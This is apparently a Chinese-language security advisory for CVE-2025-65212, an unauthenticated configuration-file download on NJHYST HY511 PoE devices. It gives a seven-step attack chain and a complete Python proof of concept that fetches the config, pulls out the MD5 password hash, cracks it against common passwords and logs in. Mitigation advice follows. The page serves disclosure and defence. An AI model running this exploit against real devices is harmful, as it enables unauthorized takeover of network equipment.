IPBUF安全漏洞报告
English
CVE-2025-65212 CVSS 9.8 严重

CVE-2025-65212 | NJHYST HY511 POE设备未授权访问漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-65212
漏洞类型
未授权访问
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NJHYST HY511 POE core (< 2.1), NJHYST HY511 POE plugins (< 0.1)

相关标签

未授权访问认证绕过配置文件泄露MD5弱加密NJHYSTHY511POE设备物联网安全CVE-2025-65212关键漏洞

漏洞概述

CVE-2025-65212是发生在NJHYST HY511 POE设备中的一个高危安全漏洞,CVSS评分高达9.8分,属于严重级别。该漏洞存在于设备的Web管理后台认证机制中,由于系统对用户会话cookie的验证存在严重不足,导致攻击者可以在无需任何认证凭证的情况下,直接通过特定的URL路径访问并下载设备的配置文件。配置文件包含了设备的敏感信息,特别是以自解密MD5形式存储的用户密码。攻击者获取这些凭据后,可以直接登录设备管理后台,完全绕过前端的登录认证页面。此漏洞的严重性在于其利用门槛极低,无需复杂的攻击技术或特殊的网络位置即可实现,且成功利用后可获得设备的完整控制权。攻击者一旦获得后台访问权限,可以进一步进行内网渗透、数据窃取、植入后门等恶意操作,对企业网络安全造成极大威胁。该漏洞影响设备的核心组件版本2.1之前以及插件版本0.1之前的所有版本。

技术细节

该漏洞的根本原因在于NJHYST HY511 POE设备Web管理系统的会话验证机制存在设计缺陷。具体表现为:1) 设备配置文件的存储路径可以直接通过HTTP请求访问,攻击者只需知道配置文件的具体URL路径即可下载;2) 系统对配置文件下载请求的权限检查不完善,缺少有效的cookie或会话验证;3) 配置文件中的用户密码采用自解密MD5算法存储,攻击者获取配置文件后可以轻松还原明文密码。攻击者利用此漏洞的典型流程为:首先构造针对配置文件路径的HTTP GET请求,由于系统未进行充分的身份验证,该请求会被服务器正常响应并返回配置文件内容。配置文件中包含admin用户的用户名以及对应的MD5加密密码。由于密码采用弱加密算法(自解密MD5),攻击者可以使用在线MD5破解工具或彩虹表快速还原出原始密码。获得有效凭据后,攻击者即可使用这些凭据通过正常的登录接口进入设备管理后台,从而获得对整个POE供电系统的完全控制权。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标设备为NJHYST HY511 POE设备,并探测其Web管理接口
STEP 2
步骤2
构造请求:攻击者直接向设备的配置文件下载端点发送HTTP GET请求,无需携带任何认证cookie
STEP 3
步骤3
配置文件获取:目标设备由于cookie验证不足,直接返回配置文件内容给攻击者
STEP 4
步骤4
敏感信息提取:攻击者从配置文件中提取用户名和MD5加密格式的密码
STEP 5
步骤5
密码破解:由于密码采用弱加密(自解密MD5),攻击者使用在线工具或彩虹表快速还原明文密码
STEP 6
步骤6
后台登录:攻击者使用获取的有效凭据通过正常登录接口进入设备管理后台
STEP 7
步骤7
完全控制:成功登录后,攻击者获得设备完整控制权,可进行配置篡改、固件植入等操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import hashlib import re # CVE-2025-65212 PoC - NJHYST HY511 POE Unauthenticated Config Download # Author: Security Researcher # Description: This PoC demonstrates the authentication bypass vulnerability # in NJHYST HY511 POE devices where configuration files can be downloaded # without proper session validation. TARGET_HOST = "http://target-device-ip" CONFIG_PATH = "/cgi-bin/cgi_config_download" # Common config download endpoint def exploit_unauthorized_access(): """ Step 1: Download configuration file without authentication The device does not validate session cookies for config file requests """ print("[+] Attempting to download configuration file...") # Direct request to config file - no authentication required url = f"{TARGET_HOST}{CONFIG_PATH}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*" } try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print("[+] Configuration file downloaded successfully!") config_data = response.text # Step 2: Extract username and MD5 password from config username = re.search(r'username=(\w+)', config_data) md5_password = re.search(r'password=([a-f0-9]{32})', config_data) if username and md5_password: print(f"[+] Found username: {username.group(1)}") print(f"[+] Found MD5 password hash: {md5_password.group(1)}") # Step 3: Decrypt the MD5 password (simple MD5 crack) # Since the device uses weak self-decrypting MD5, try common passwords cracked_password = crack_md5_password(md5_password.group(1)) if cracked_password: print(f"[+] Cracked password: {cracked_password}") # Step 4: Login to the device backend login_and_access_backend(username.group(1), cracked_password) else: print(f"[-] Failed to download config. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def crack_md5_password(md5_hash): """ Attempt to crack MD5 password using common/default passwords """ common_passwords = ['admin', 'password', '123456', 'admin123', 'root', 'default', '12345', 'admin@123', 'poe_admin', 'config'] for pwd in common_passwords: if hashlib.md5(pwd.encode()).hexdigest() == md5_hash: return pwd return None def login_and_access_backend(username, password): """ Step 4: Use obtained credentials to login to the management backend This demonstrates complete authentication bypass """ print(f"[+] Attempting to login with credentials: {username}/{password}") login_url = f"{TARGET_HOST}/cgi-bin/login" data = { "username": username, "password": password } try: response = requests.post(login_url, data=data, timeout=10, verify=False) if response.status_code == 200 and 'session' in response.cookies: print("[+] Successfully logged in to backend!") print("[+] Full device access obtained - Authentication Bypass Confirmed") return True except requests.exceptions.RequestException: pass print("[-] Login failed") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-65212 PoC - NJHYST HY511 POE Authentication Bypass") print("=" * 60) exploit_unauthorized_access()

影响范围

NJHYST HY511 POE core < 2.1
NJHYST HY511 POE plugins < 0.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过网络访问控制列表(ACL)限制对POE设备Web管理接口的访问,仅允许受信任的管理IP访问;2) 禁用设备配置文件下载功能(如果可行);3) 定期检查设备日志,监控是否存在异常的配置文件下载请求;4) 将POE设备置于独立的VLAN中,与关键业务系统隔离;5) 部署入侵检测系统(IDS)监控针对该漏洞的扫描和利用行为;6) 考虑使用HTTP认证或双因素认证增强访问安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表